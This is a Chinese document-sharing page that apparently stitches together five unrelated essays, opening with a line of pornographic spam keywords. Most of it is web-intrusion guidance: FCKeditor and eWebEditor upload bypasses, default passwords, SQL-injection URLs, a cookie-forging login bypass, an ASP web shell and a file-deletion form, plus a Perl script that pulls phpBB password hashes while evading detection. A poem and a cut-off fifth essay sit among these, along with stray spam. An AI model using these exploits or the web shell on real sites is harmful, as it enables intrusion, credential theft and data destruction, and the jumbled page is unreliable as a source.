久久99精品久久久久久琪琪,久久人人爽人人爽人人片亞洲,熟妇人妻无码中文字幕,亚洲精品无码久久久久久久

Fckeditor漏洞利用總結(五篇范文)

時間:2019-05-13 21:13:11下載本文作者:會員上傳
簡介:寫寫幫文庫小編為你整理了多篇相關的《Fckeditor漏洞利用總結》,但愿對你工作學習有幫助,當然你在寫寫幫文庫還可以找到更多《Fckeditor漏洞利用總結》。

第一篇:Fckeditor漏洞利用總結

Fckeditor漏洞利用總結

查看編輯器版本

FCKeditor/_whatsnew.html

—————————————————————————————————————————————————————————————

2.Version 2.2 版本

Apache+linux 環境下在上傳文件后面加個.突破!測試通過。

—————————————————————————————————————————————————————————————

3.Version <=2.4.2 For php 在處理pHp 上傳的地方并未對Media 類型進行上傳文件類型的控制,導致用戶上傳任意文件!將以下保存為html文件,修改action地址。

action=“http://

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/uploadtest.html

—————————————————————————————————————————————————————————————

7.常用上傳地址

FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/

FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.tmdps.cn%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php(ver:2.6.3 測試通過)

JSp 版:

FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp

注意紅色部分修改為FCKeditor 實際使用的腳本語言,藍色部分可以自定義文

件夾名稱也可以利用../..目錄遍歷,紫色部分為實際網站地址。

—————————————————————————————————————————————————————————————

8.其他上傳地址

FCKeditor/_samples/default.html

FCKeditor/_samples/asp/sample01.asp

FCKeditor/_samples/asp/sample02.asp

FCKeditor/_samples/asp/sample03.asp

FCKeditor/_samples/asp/sample04.asp

一般很多站點都已刪除_samples 目錄,可以試試。

FCKeditor/editor/fckeditor.html 不可以上傳文件,可以點擊上傳圖片按鈕再選擇瀏覽服務器即可跳轉至可上傳文件頁。

—————————————————————————————————————————————————————————————

9.列目錄漏洞也可助找上傳地址

Version 2.4.1 測試通過

修改CurrentFolder 參數使用../../來進入不同的目錄

/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp

根據返回的XML 信息可以查看網站所有的目錄。

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F

也可以直接瀏覽盤符:

JSp 版本:

FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F

—————————————————————————————————————————————————————————————

10.爆路徑漏洞

FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp

—————————————————————————————————————————————————————————————

11.FCKeditor 被動限制策略所導致的過濾不嚴問題

影響版本: FCKeditor x.x <= FCKeditor v2.4.3脆弱描述:

FCKeditor v2.4.3 中File 類別默認拒絕上傳類型:

html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm

Fckeditor 2.0 <= 2.2 允許上傳asa、cer、php2、php4、inc、pwml、pht 后綴的文件上傳后它保存的文件直接用的$sFilepath = $sServerDir.$sFileName,而沒有使用$sExtension 為后綴.直接導致在win 下在上傳文件后面加個.來突破[未測試]!

而在apache 下,因為”Apache 文件名解析缺陷漏洞"也可以利用之,另建議其他上傳漏洞中定義TYpE 變量時使用File 類別來上傳文件,根據FCKeditor 的代碼,其限制最為狹隘。

在上傳時遇見可直接上傳腳本文件固然很好,但有些版本可能無法直接上傳可以利用在文件名后面加.點或空格繞過,也可以利用2003 解析漏洞建立xxx.asp文件夾或者上傳xx.asp;.jpg!

—————————————————————————————————————————————————————————————

12.最古老的漏洞,Type文件沒有限制!

我接觸到的第一個fckeditor漏洞了。版本不詳,應該很古老了,因為程序對type=xxx 的類型沒有檢查。我們可以直接構造上傳把type=Image 改成Type=hsren 這樣就可以建立一個叫hsren的文件夾,一個新類型,沒有任何限制,可以上傳任意腳本!

—————————————————————————————————————————————————————————————

以上方法都是網上收集和在平時滲透中所總結的經驗,可能有些有遺漏,當再想起的時候再補充,也有自己沒發現的就要靠各位大俠分享學習了!

第二篇:ewebeditor漏洞利用總結

ewebeditor漏洞利用總結

先從最基本的記錄起!通常入侵ewebeditor編輯器的步驟如下:

1、首先訪問默認管理頁看是否存在。

默認管理頁地址2.80以前為 ewebeditor/admin_login.asp 以后版本為admin/login.asp(各種語言的大家自己改后綴,本文就以asp來進行說明,下面不再細說了!)

2、默認管理帳號密碼!

默認管理頁存在!我們就用帳號密碼登陸!默認帳號密碼為: admin admin888!常用的密碼還有admin admin999 admin1 admin000 之類的。

3、默認數據庫地址。

如果密碼不是默認的。我們就訪問是不是默認數據庫!嘗試下載數據庫得到管理員密碼!管理員的帳號密碼,都在eWebEditor_System表段里,sys_UserName Sys_Userpass 都是md5加密的。得到了加密密碼。可以去!修改紅色部分的路徑,然后自動上傳.cer 文件!漏洞原因是因為sStyleName變量直接從style中讀取,并沒有過濾,所以可以包含任意字符!用select在ewebeditor_style表中查找s_name為sStyleName的記錄,找不到就提示出錯!在sStyleName變量中用union來構造記錄,我們可以在sAllowExt中加入“|cer”、“|asa”等!

另外還有一些版本的ewebeditor的upload.asp文件存在注入漏洞!貼幾個注入用的url!信息錯誤則返回腳本出錯的提示,在瀏覽器左下角!具體利用如下:

ewebeditor/Upload.asp?type=FILE&style=standard_coolblue1'and%20(select%20top%201%20asc(mid(sys_userpass,15,1))%20from%20ewebeditor_system%20)>98%20and%20'1'='1

注意修改紅色部分的字段名、位數、ascii碼的值!

7、目錄遍歷漏洞!

這里大概說一下!目錄遍歷漏洞基本存在于ewebeditor/admin_uploadfile.asp 高版本的是ewebeditor/admin/upload.asp 文件!這個文件有的不需要登陸驗證,有些需要!很多有經驗的管理員會把編輯器的目錄設置為只讀權限,不可修改!這種情況下,唯一可以利用的也就是利用遍歷目錄功能查看網站文件,比如數據庫路徑、后臺地址、其他的上傳地址、最直觀的就是別人留下的小馬等等!這些都自由發揮了!說下漏洞利用方法!

漏洞利用方式如下:在上傳文件管理頁面 隨便選擇一個上傳樣式!比如ewebeditor/admin_uploadfile.asp?id=14 在id后面添加&dir=../..類似如下:webeditor/admin_uploadfile.asp?id=14&dir=../../../../data/ 可以看到網站數據庫的路徑!

另外一個遍歷目錄的漏洞文件是 ewebeditor/asp/browse.asp

漏洞代碼為 :

Function GetList()

Dim s_List, s_Url

s_List = “"

Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName

'Response.Write sCurrDir

'On Error Resume Next

Set oFSO = Server.CreateObject(”Scripting.FileSystemObject“)

Set oUploadFolder = oFSO.GetFolder(Server.Mappath(sCurrDir))

'注意一下sCurrDir變量,這個值等下我們可以用到

If Err.Number>0 Then

s_List = ”“

Exit Function

End If

If sDir <> ”“ Then

If InstrRev(sDir, ”/“)> 1 Then

s_Url= Left(sDir, InstrRev(sDir, ”/“)-1)

Else

s_Url = ”“

End If

s_List = s_List & ”“ & _

”“ & _

”..“ & _

” “ & _

”“

End If

'Response.Write sDir&”!“&s_List

Dim oSubFolder

For Each oSubFolder In oUploadFolder.SubFolders

'Response.Write oUploadFolder.SubFolders

If sDir = ”“ Then

s_Url = oSubFolder.Name

Else

s_Url = sDir & ”/“ & oSubFolder.Name

End If

s_List = s_List & ”“ & _

”“ & _

”“ & oSubFolder.Name & ”“ & _

” “ & _

”“

Next

'Response.Write s_List

Set oUploadFiles = oUploadFolder.Files

For Each oUploadFile In oUploadFiles

'Response.Write oUploadFile.Name

sFileName = oUploadFile.Name

If CheckValidExt(sFileName)= True Then

'這行讓人有點郁悶,檢測了所有允許的文件后綴,如不允許就無法列出,不然就不只列出目錄名和圖片文件了

If sDir = ”“ Then

s_Url = sContentpath & sFileName

Else

s_Url = sContentpath & sDir & ”/“ & sFileName

End If

s_List = s_List & ”“ & _

”“ & FileName2pic(sFileName)& ”“ & _

”“ & sFileName & ”“ & _

”“ & GetSizeUnit(oUploadFile.size)& ”“ & _

”“

End If

Next

Set oUploadFolder = Nothing

Set oUploadFiles = Nothing

'Response.Write Server.HTMLEncode(s_List)&”!“&s_Url

If sDir = ”“ Then

s_Url = ”“

's_Url = ”/“

Else

s_Url = ”/“ & sDir & ”“

's_Url = ”/“ & sDir & ”/“

End If

s_List = s_List & ”“

s_List = HTML2JS(s_List)

'Response.Write Server.HTMLEncode(s_List)&”!“&s_Url

s_List = ”parent.setDirList(“"” & s_List & “"”, “"” & s_Url & “"”)“

GetList = s_List

End Function

'如果沒有下面這步檢測的話,應該就可以列出目錄中所有的文件了,有點郁悶..現在只能列出允許后綴的文件和目錄名

Function CheckValidExt(s_FileName)

If sAllowExt = ”“ Then

CheckValidExt = True

Exit Function

End If

Dim i, aExt, sExt

sExt = LCase(Mid(s_FileName, InStrRev(s_FileName, ”.“)+ 1))

CheckValidExt = False

aExt = Split(LCase(sAllowExt), ”|“)

For i = 0 To UBound(aExt)

If aExt(i)= sExt Then

CheckValidExt = True

Exit Function

End If

Next

End Function

'我們順著代碼往下找,發現sCurrDir的值是通過下面的值得到的

Sub Initparam()

sType = UCase(Trim(Request.QueryString(”type“)))

sStyleName = Trim(Request.QueryString(”style“))

Dim i, aStyleConfig, bValidStyle

bValidStyle = False

For i = 1 To Ubound(aStyle)

aStyleConfig = Split(aStyle(i), ”|||“)

If Lcase(sStyleName)= Lcase(aStyleConfig(0))Then

bValidStyle = True

Exit For

End If

Next

If bValidStyle = False Then

OutScript(”alert('Invalid Style.')“)

End If

sBaseUrl = aStyleConfig(19)

'nAllowBrowse = CLng(aStyleConfig(43))

nAllowBrowse =

1If nAllowBrowse <> 1 Then

OutScript(”alert('Do not allow browse!')“)

End If

sUploadDir = aStyleConfig(3)

If Left(sUploadDir, 1)<> ”/“ Then

Select Case sType

Case ”REMOTE“

sUploadDir = ”../../“ & sUploadDir & ”Image/“

Case ”FILE“

sUploadDir = ”../../“ & sUploadDir & ”Other/“

Case ”MEDIA“

sUploadDir = ”../../“ & sUploadDir & ”Media/“

Case ”FLASH“

sUploadDir = ”../../“ & sUploadDir & ”Flash/“

Case Else

sUploadDir = ”../../“ & sUploadDir & ”Image/“

End Select

End If

'sUploadDir =sUploadDir &”/“

Select Case sBaseUrl

Case ”0“

'sContentpath = aStyleConfig(23)

Select Case sType

Case ”REMOTE“

sContentpath = ”../“ & aStyleConfig(3)& ”Image/“

Case ”FILE“

sContentpath = ”../“ & aStyleConfig(3)& ”Other/“

Case ”MEDIA“

sContentpath = ”../“ & aStyleConfig(3)& ”Media/“

Case ”FLASH“

sContentpath = ”../“ & aStyleConfig(3)& ”Flash/“

Case Else

sContentpath = ”../“ & aStyleConfig(3)& ”Image/“

End Select

Case ”1“

sContentpath = Relativepath2Rootpath(sUploadDir)

Case ”2“

sContentpath = Rootpath2Domainpath(Relativepath2Rootpath(sUploadDir))

End Select

Select Case sType

Case ”REMOTE“

sAllowExt = aStyleConfig(10)

Case ”FILE“

sAllowExt = aStyleConfig(6)

Case ”MEDIA“

sAllowExt = aStyleConfig(9)

Case ”FLASH“

sAllowExt = aStyleConfig(7)

Case Else

sAllowExt = aStyleConfig(8)

End Select

sCurrDir = sUploadDir '注意這里,這個是得到了配置的路徑地址

sDir = Trim(Request(”dir“))'得到dir變量

sDir = Replace(sDir, ”“, ”/“)'對dir變量進行過濾

sDir = Replace(sDir, ”../“, ”“)

sDir = Replace(sDir, ”./“, ”“)

If sDir <> ”“ Then

If CheckValidDir(Server.Mappath(sUploadDir & sDir))= True Then

sCurrDir = sUploadDir & sDir & ”/“

'重點就在這里了,看到沒有,當sUploadDir & sDir存在的時候,sCurrDir就為sUploadDir & sDir的值了

'雖然上面對sDir進行了過濾,不過我們完全可以跳過.具體利用下面的利用中給出

Else

sDir = ”“

End If

End If

End Sub

利用方式如下:

http://site/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin

這樣子就可以看到admin的內容了。構造特殊的dir繞過上面的驗證!頁面空白的時候查看源代碼,就可以看到目錄列表了!

8、session欺騙漏洞!

適用于一些設置不當的虛擬主機。當旁注得到一個webshell,而目標站存在ewebeditor卻不能找到密碼的時候可以嘗試欺騙進入后臺!順序如下:

新建一個.asp文件,內容如下: <%Session(”eWebEditor_User“)= ”123132323“%> 然后訪問這個文件,再訪問ewebeditor/admin_default.asp!欺騙進入后臺!不過很老了!

9、后臺跳過認證漏洞!

訪問后臺登陸頁面!隨便輸入帳號密碼,返回錯誤!然后清空瀏覽器,在地址欄輸入

javascript:alert(document.cookie=”adminuser=“+escape(”admin“));

javascript:alert(document.cookie=”adminpass=“+escape(”admin“));

javascript:alert(document.cookie=”admindj=“+escape(”1“));

然后再清空地址欄,在路徑里輸入后臺登陸后的頁面,比如: admin_default.asp admin/default.asp 等。直接進入后臺,利用方式見上文!

10、利用遠程上傳功能!

比如s_full樣式就存在這個功能,打開編輯頁面,然后圖片,選擇輸入url 比如:http://site.com/1.gif.asp!然后選擇上傳遠程文件!自動就把1.gif.asp 保存在上傳目錄內!注:網上的東西大部分傳來傳去,這個辦法愚弄自己還成!文件的確顯示后綴為.asp 但是不能訪問,因為收集過來的時候自動截止在1.gif了所以后面的.asp等于沒有!而且gif的內容就是我們這個url的路徑!呵呵,后來又看到一個利用方式!是利用遠程搜集的時候執行,我們文件的代碼生成另外的小馬!

利用代碼如下:

首先建立1.gif.asp 代碼如下

<%

Set fs = CreateObject(”Scripting.FileSystemObject“)

Set MyTextStream=fs.OpenTextFile(server.Mappath(”akteam.asp“),1,false,0)

Thetext=MyTextStream.ReadAll

response.write thetext

%>

在我們的1.gif.asp的同目錄下建立一個akteam.asp文件,內容就是我們的小馬:

<%on error resume next%>

<%ofso=”scripting.filesystemobject“%>

<%set fso=server.createobject(ofso)%>

<%path=request(”path“)%>

<%if path<>”“ then%>

<%data=request(”dama“)%>

<%set dama=fso.createtextfile(path,true)%>

<%dama.write data%>

<%if err=0 then%>

<%=”success“%>

<%else%>

<%=”false“%>

<%end if%>

<%err.clear%>

<%end if%>

<%dama.close%>

<%set dama=nothing%>

<%set fos=nothing%>

<%=”“%>

<%=”“%>

<%=”
“%>

<%=server.mappath(request.servervariables(”script_name“))%>

<%=”
“%>

<%=”“%>

<%=”“%>

<%=”
“%>

<%=”“%>

<%=”

“%>

利用上面說的遠程上傳的方式!可以得到webshell!成功率取決于,虛擬主機的安全設置!

11、任意文件刪除漏洞!

此漏洞存在于ExampleNewsSystem目錄下的delete.asp文件中,這是ewebeditor的測試頁面,無須登陸可以直接進入!看代碼

' 把帶”|“的字符串轉為數組

Dim aSavepathFileName

aSavepathFileName = Split(sSavepathFileName, ”|“)

' 刪除新聞相關的文件,從文件夾中

Dim i

For i = 0 To UBound(aSavepathFileName)

' 按路徑文件名刪除文件

Call DoDelFile(aSavepathFileName(i))

Next

而aSavepathFileName是前面從數據庫取出來的:

sSavepathFileName = oRs(”D_SavepathFileName“)

看看D_SavepathFileName是怎么添加到數據庫里的,在addsave.asp(modifysave.asp)里:sSavepathFileName = GetSafeStr(Request.Form(”d_savepathfilename“))

...oRs(”D_SavepathFileName“)= sSavepathFileName

居然過濾了,是GetSafeStr函數,再看看這個函數,在Startup.asp里:

Function GetSafeStr(str)

GetSafeStr = Replace(Replace(Replace(Trim(str), ”'“, ”“), Chr(34), ”“), ”;“, ”“)

End Function

既然路徑沒有過濾,那就可以直接定義了,構造一個提交頁面,其中d_savepathfilename自己任意賦值(要刪除多個文件,用|隔開即可)。試試../../eWebEditor.asp,提交后刪除該新聞,于是主目錄下的eWebEditor.asp不見了!漏洞利用:

eWebEditor刪除文件 byldjun(></p><p>新聞列表%20|%20增加新聞</p><p>增加新聞</p><p>http://127.0.0.1/editor/Example/NewsSystem/addsave.asp”</p><p>method=“post” name=“myform”></p><p><input type=hidden name=d_originalfilename></p><p><input type=hidden name=d_savefilename></p><p><table cellspacing=3 align=center></p><p><tr><td>要刪的文件(相對路徑就可以了):</td></p><p><td><input type=“text” name=“d_savepathfilename” value=“" size=”90“></td></p><p></tr></p><p><tr><td>新聞標題(隨便填):</td></p><p><td><input type=”text“ name=”d_title“ value=”“ size=”90“></td></p><p></tr></p><p><tr><td>標題圖片:</td></p><p><td><select name=”d_picture“ size=1><option value=''>無</option></select></p><p>當編輯區有插入圖片時,將自動填充此下拉框</td></p><p></tr></p><p><tr><td>新聞內容(隨便填):</td></p><p><td><textarea name=”d_content“></textarea></td></p><p></tr></p><p></table></p><p><input type=submit name=btnSubmit value=” 提 交 “></p><p><input type=reset name=btnReset value=” 重 填 “></p><p></form></p><p></BODY></HTML></p><p>刪除文件漏洞一般是配合其他漏洞使用的,比如目錄遍歷</p><p><a href='list.asp'>中的list.asp地址要修改</p><p><a href='add.asp'>中的add.asp地址要修改</p><p><form action=”http://127.0.0.1/editor/Example/NewsSystem/addsave.asp“</p><p>(http://127.0.0.1/editor/Example/NewsSystem/addsave.asp地址要修改)</p><p>另外一個簡單利用方式:</p><p><form action=”http://www.tmdps.cn/editor/example/newssystem/addsave.asp“ method=”post“></p><p><input type=hidden name=d_originalfilename value=”x“></p><p><input type=hidden name=d_savefilename value=”x“></p><p>要刪除的文件(相對路徑,多個文件用“|”隔開)<br></p><p><input type=text name=d_savepathfilename></p><p><input type=hidden name=”d_title“ value=”x“></p><p><input type=hidden name=”d_picture“ value=”x“></p><p><textarea name=”d_content“>x</textarea></p><p><input type=submit name=btnSubmit value=”submit"></p><p></form></p><p>然后得到返回的新聞ID再提交:http://www.tmdps.cn/editor/example/newssystem/delete.asp?id=[id]</p><p>有幾個版本的ewebeditor 上傳類型是在 security.asp 文件控制的!直接刪除該文件可以上傳任意webshell!</p><p>12、其他!</p><p>其他說點什么呢!以上的辦法都是本人經驗和網上搜集!暫時就想到這些了,以后想到了再補全!說說aspx php jsp版本的利用吧!</p><p>ASpX版:</p><p>受影響文件:eWebEditorNet/upload.aspx</p><p>利用方法:添好本地的cer的Shell文件。在瀏覽器地址欄輸入javascript:lbtnUpload.click();就能得到shell。嘿嘿....繞過了限制......成功的上傳了ASpX文件....文件默認的上傳后保存的地址是eWebEditorNet/UploadFile/現在來看看是否上傳成功.....pHp版本:php版本和asp版本利用方式類似!不過php權限較高,不多廢話了!</p><p>jsp版本:網上有很多jsp的版本,根本沒有對上傳文件類型進行檢測!需要注意的是jsp版本的沒有上傳按鈕!直接選擇文件,回車就可以提交了!</p><h2><a name="3" >第三篇:漏洞現代詩歌</a></h2><p>閃電把漆黑的天幕<p>撕開一條漏洞</p><p>瞬間照亮了前方的路</p><p>雷響了,雨來了</p><p>淹沒了蟬鳴,蛙聲</p><p>我仍然站在暴雨中</p><p>是期待還是等待</p><p>沒有什么目標</p><p>只有讓閃電照耀</p><p>讓暴雨洗滌沾滿身驅的污垢</p><p>和疲憊不堪的肢體</p><p>我也記不清閃電劃過多少次</p><p>雷聲響過多少回</p><p>就好象數不清這生</p><p>有多少個漏洞</p><p>又失去多少個</p><p>可以擁有的機遇</p><p>上千個電話號碼</p><p>有幾個在你危難時</p><p>可以伸手相助</p><p>多少人鞍前馬后</p><p>有幾個能和你走到最后</p><p>春暖花開還訴說著情深似海</p><p>冬天一到便無影無蹤</p><p>也許上蒼給予這些眷顧</p><p>是你生命中注定的磨難</p><p>只能在這時才清醒</p><p>被雨澆透的輕松</p><p>總是在糾結過去了的往事</p><p>一個丟失</p><p>就成為一個漏洞</p><p>一個失敗</p><p>就鑄成終身憾事</p><p>用時間填補那些漏洞</p><p>用生命去等待</p><p>另一道閃電</p><p>照亮百孔千瘡的靈魂</p><p>這時才感到命運中的頑強</p><p>是彌補這些漏洞的良藥</p><p>在暴風雨中沖刷</p><p>在等待中找準方向</p><p>迎接一個嶄新的未來</p><h2><a name="4" >第四篇:PHP網站漏洞的相關總結</a></h2><p>PHP網站漏洞的相關總結</p><p>NB聯盟-zwell 從現在的網絡安全來看,大家最關注和接觸最多的WEB頁面漏洞應該是ASP了,在這方面,小竹是專家,我沒發言權.然而在PHP方面來看,也同樣存在很嚴重的安全問題,但是這方面的文章卻不多.在這里,就跟大家來稍微的討論一下PHP頁面的相關漏洞吧.我對目前常見的PHP漏洞做了一下總結,大致分為以下幾種:包含文件漏洞,腳本命令執行漏洞,文件泄露漏洞,SQL注入漏洞等幾種.當然,至于COOKIE欺騙等一部分通用的技術就不在這里討論了,這些資料網上也很多.那么,我們就一個一個來分析一下怎樣利用這些漏洞吧!首先,我們來討論包含文件漏洞.這個漏洞應該說是PHP獨有的吧.這是由于不充分處理外部提供的惡意數據,從而導致遠程攻擊者可以利用這些漏洞以WEB進程權限在系統上執行任意命令.我們來看一個例子:假設在a.php中有這樣一句代碼: <?php include($include.“/xxx.php”);?> 在這段代碼中,$include一般是一個已經設置好的路徑,但是我們可以通過自己構造一個路徑來達到攻擊的目的.比方說我們提交:a.php?include=http://web/b.php,這個web是我們用做攻擊的空間,當然,b.php也就是我們用來攻擊的代碼了.我們可以在b.php中寫入類似于:passthru(“/bin/ls /etc”);的代碼.這樣,就可以執行一些有目的的攻擊了.(注:web服務器應該不能執行php代碼,不然就出問題了.相關詳情可以去看<<如何對PHP程序中的常見漏洞進行攻擊>>).在這個漏洞方面,出狀況的很多,比方說:PayPal Store Front, HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些.接著,我們再來看一下腳本命令執行漏洞.這是由于對用戶提交的URI參數缺少充分過濾,提交包含惡意HTML代碼的數據,可導致觸發跨站腳本攻擊,可能獲得目標用戶的敏感信息。我們也舉個例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php頁面對PHPSESSID缺少充分的過濾,我們可以通過這樣的代碼來達到攻擊的目的: http://web/index.php?PHPSESSID=“><script>...</script>在script里面我們可以構造函數來獲得用戶的一些敏感信息.在這個漏洞方面相對要少一點,除了PHP Transparent之外還有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等.再然后,我們就來看看文件泄露漏洞了.這種漏洞是由于對用戶提交參數缺少充分過濾,遠程攻擊者可以利用它進行目錄遍歷攻擊以及獲取一些敏感信息。我們拿最近發現的phpMyAdmin來做例子.在phpMyAdmin中,export.php頁面沒有對偉創電腦維修用戶提交的'what'參數進行充分過濾,遠程攻擊者提交包含多個'../'字符的數據,便可繞過WEB ROOT限制,以WEB權限查看系統上的任意文件信息。比方說打入這樣一個地址:export.php?what=../../../../../../etc/passwd%00 就可以達到文件泄露的目的了.在這方面相對多一點,有:myPHPNuke,McNews等等.最后,我們又要回到最興奮的地方了.想想我們平時在asp頁面中用SQL注入有多么爽,以前還要手動注入,一直到小竹悟出”SQL注入密笈“(嘿嘿),然后再開做出NBSI以后,我們NB聯盟真是拉出一片天空.曾先后幫CSDN,大富翁論壇,中國頻道等大型網站找出漏洞.(這些廢話不多說了,有點跑題了...).還是言規正傳,其實在asp中SQL的注入和php中的SQL注入大致相同,只不過稍微注意一下用的幾個函數就好了.將asc改成ASCII,len改成LENGTH,其他函數基本不變了.其實大家看到PHP的SQL注入,是不是都會想到PHP-NUKE和PHPBB呢?不錯,俗話說樹大招分,像動網這樣的論壇在asp界就該是漏洞這王了,這并不是說它的論壇安全太差,而是名氣太響,別人用的多了,研究的人也就多了,發現的安全漏洞也就越多了.PHPBB也是一樣的,現在很大一部分人用PHP做論壇的話,一般都是選擇了PHPBB.它的漏桂林偉創電腦洞也是一直在出,從最早phpBB.com phpBB 1.4.0版本被人發現漏洞,到現在最近的phpBB 2.0.6版本的groupcp.php,以及之前發現的search.php,profile.php,viewtopic.php等等加起來,大概也有十來個樣子吧.這也一直導致,一部分人在研究php漏洞的時候都會拿它做實驗品,所謂百練成精嘛,相信以后的PHPBB會越來越好.好了,我們還是來分析一下漏洞產生的原因吧.拿viewtopic.php頁面來說,由于在調用viewtopic.php時,直接從GET請求中獲得”topic_id“并傳遞給SQL查詢命令,而并沒有進行一些過濾的處理,攻擊者可以提交特殊的SQL字符串用于獲得MD5密碼,獲得此密碼信息可以用于自動登錄或者進行暴力破解。(我想應該不會有人想去暴力破解吧,除非有特別重要的原因).先看一下相關源代碼: # if(isset($HTTP_GET_VARS[POST_TOPIC_URL]))# { # $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);# } # else if(isset($HTTP_GET_VARS['topic']))# { # $topic_id = intval($HTTP_GET_VARS['topic']);# } 從上面我們可以看出,如果提交的view=newest并且sid設置了值的話,執行的查詢代碼像下面的這個樣子(如果你還沒看過PHPBB源代碼的話,建議你看了再對著這里來看,受影響系統為:phpBB 2.0.5和phpBB 2.0.4).# $sql = ”SELECT p.post_id # FROM “.POSTS_TABLE.” p, “.SESSIONS_TABLE.” s, “.USERS_TABLE.” u # WHERE s.session_id = '$session_id' # AND u.user_id = s.session_user_id # AND p.topic_id = $topic_id # AND p.post_time >= u.user_lastvisit # ORDER BY p.post_time ASC # LIMIT 1“;Rick提供了下面的這斷測試代碼: use IO::Socket;$remote = shift || 'localhost';$view_topic = shift || '/phpBB2/viewtopic.php';$uid = shift || 2;$port = 80;$dbtype = 'mysql4';# mysql4 or pgsql print ”Trying to get password hash for uid $uid server $remote dbtype: $dbtypen“;$p = ”“;for($index=1;$index<=32;$index++){ $socket = IO::Socket::INET->new(PeerAddr => $remote, PeerPort => $port, Proto => ”tcp“, Type => SOCK_STREAM)or die ”Couldnt connect to $remote:$port : $@n“;$str = ”GET $view_topic“.”?sid=1&topic_id=-1“.random_encode(make_dbsql()).”&view=newest“.” HTTP/1.0nn“;print $socket $str;print $socket ”Cookie: phpBB2mysql_sid=1n“;# replace this for pgsql or remove it print $socket ”Host: $remotenn“;while($answer = <$socket>){ if($answer =~ /location:.*x23(d+)/)# Matches the location: viewtopic.php?p=<num>#<num> { $p.= chr($1);} } close($socket);} print ”nMD5 Hash for uid $uid is $pn“;# random encode str.helps avoid detection sub random_encode { $str = shift;$ret = ”“;for($i=0;$i<length($str);$i++){ $c = substr($str,$i,1);$j = rand length($str)* 1000;if(int($j)% 2 || $c eq ' '){ $ret.= ”%“.sprintf(”%x“,ord($c));} else { $ret.= $c;} } return $ret;} sub make_dbsql { if($dbtype eq 'mysql4'){ return ” union select ord(substring(user_password,“.$index.”,1))from phpbb_users where user_id=$uid/*“;} elsif($dbtype eq 'pgsql'){ return ”;select ascii(substring(user_password from $index for 1))as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false“;} else { return ”";} } 這斷代碼,我就不多做解釋了.作用是獲得HASH值.看到這里,大家可能有點疑問,為什么我前面講的那些改的函數怎么沒有用到,我講出來不怕大家笑話:其實網上很多站點有些頁面的查詢語句看起來會是這樣: display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc 不要笑,這是真的,我還靠這個進過幾個大型網站.至于哪一些,不好講出來,不過我們學校的網站,我就是靠這個進后臺的(希望學校網絡中心的看不到這篇文章,^_^).把前面那函數用上吧.不然你只有改人家的密碼了哦!!差點忘了一點,在SQL注入的時候,PHP與ASP有所不同,mysql對sql語句的運用沒有mssql靈活,因此,很多在mssql上可以用的查詢語句在mysql數據庫中都不能奏效了.一般我們常見的注入語句像這樣:aaa.php?id=a' into outfile 'pass.txt或是aaa.php?id=a' into outfile 'pass.txt' /*再進一步可以改成:aaa.php?id=a' or 1=1 union select id,name,password form users into outfile 'c:/a.txt 這樣可以將數據庫數據導出為文件,然后可以查看.或是這樣:mode=',user_level='4 這個語句一般用在修改資料時,假設頁面存在漏洞的話,就可以達到提升權限的做用.其它的如' OR 1=1--或者:1' or 1='1則跟asp差不多.這里不多講了.在php里面,SQL注入看來還是漏洞之首啊,有太多的頁面存在這個問題了.其實大家可以看出來,上面那些分類歸根結底只有一個原因:提交參數沒過濾或是過濾不夠嚴謹.黑客防線向來有攻有守.這里,就大致講一下防范的方法吧.首先,我個人認為最重要的一點是將magic_quotes_gpc高為ON,它的作用是將單引號,雙引號,反斜線,和空字符轉換為含有反斜線的字符,如select * from admin where username='$username' and password='$password'語句,攻擊者想用1' or 1='1跳過驗證,但是,那些字符串將被轉換成這樣:select * from admin where username='a' and password='1' or 1='1'從而達到阻止注入的目的,事實也就是自動進行了addslashes()操作.再不行的話,自己定義函數處理吧.現在看來,那些搞PHP注入的人也比較郁悶,因為myslq4以下版本不支持子語句,而新版本的mysql又會將magic_quotes_gpc選項默認為開.解決包含文件漏洞用的方法就是:要求程序員包含文件里的參數盡量不要使用變量,如果使用變量,就一定要嚴格檢查要包含的文件名,絕對不能由偉創電腦維修用戶任意指定,建議設global_variables為off。如前面文件打開中限制PHP操作路徑是一個必要的選項。另外,如非特殊需要,一定要關閉PHP的遠程文件打開功能。修改php.ini文件:allow_url_fopen = Off(注:參見<<p>>).還有一點我覺得很多網站都會有這個問題,就是沒有關錯誤顯示.輕一看可能沒什么,但是一些盯了很久(用詞有點不對哦)的人就可以通過錯誤提示來獲得如數據庫信息,網頁文件物理路徑等等.以上都是我個人的一些觀點,如果你有什么看法,可以與我們聯系,大家在一起討論吧。</p><h2><a name="5" >第五篇:javaWeb安全驗證漏洞修復總結</a></h2><p>EMA服務管理平臺二期擴容安全驗收</p><p>漏洞修復總結</p><p>2011年5月</p><p>中國電信EMA服務管理平臺二期擴容安全驗收漏洞修復總結</p><p>目 錄 2 